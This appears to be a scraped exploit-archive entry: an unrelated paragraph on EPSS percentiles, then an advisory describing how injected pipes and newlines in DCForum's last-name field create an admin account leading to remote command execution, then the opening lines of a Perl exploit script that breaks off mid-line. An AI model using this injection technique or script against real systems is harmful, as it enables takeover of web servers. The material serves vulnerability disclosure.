The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#source: https://www.securityfocus.com/bid/2728/info # #DCForum is a commercial cgi script from DCScripts which is designed to facilitate web-based threaded discussion forums. # #Versions of DCForum are vulnerable to attacks which can yield an elevation of privileges and remote execution of arbitrary commands. # #DCForum maintains a file containing its user account information, including hashed user passwords and other potentially sensitive information. # #When a new user account is created, the user's information is written to this file. Fields within each record are delimited by pipe ('|') and newline characters. # #DCForum fails to properly validate this user-supplied account information. As a result, an attacker can cause a corruption of the script's user records by providing a value for the last name field which includes URL-encoded pipes and newlines. By appending desired values to the last name field, an attacker can insert account information for a new user, and specify admin privileges. # #This newly-created admin account allows a remote attacker to issue arbitrary commands with the privilege level of the webserver process. # #!/usr/bin/perl # dcgetadmin.pl - (C) 2001 Franklin DeMatto - franklin@qDefense.com use Getopt::Std; use IO::Socket; getopts ('ap'); usage () unless ($#ARGV == 0 || $#ARGV == 1); if ($opt_a) { print "\n -a not implemented yet\n\n"; exit 1; } $host = $ARGV[0]; $uri = $ARGV[1] ? $ARGV[1] : '/cgi-bin/dcforum/dcboard.cgi'; $username = 'evilhacker' .
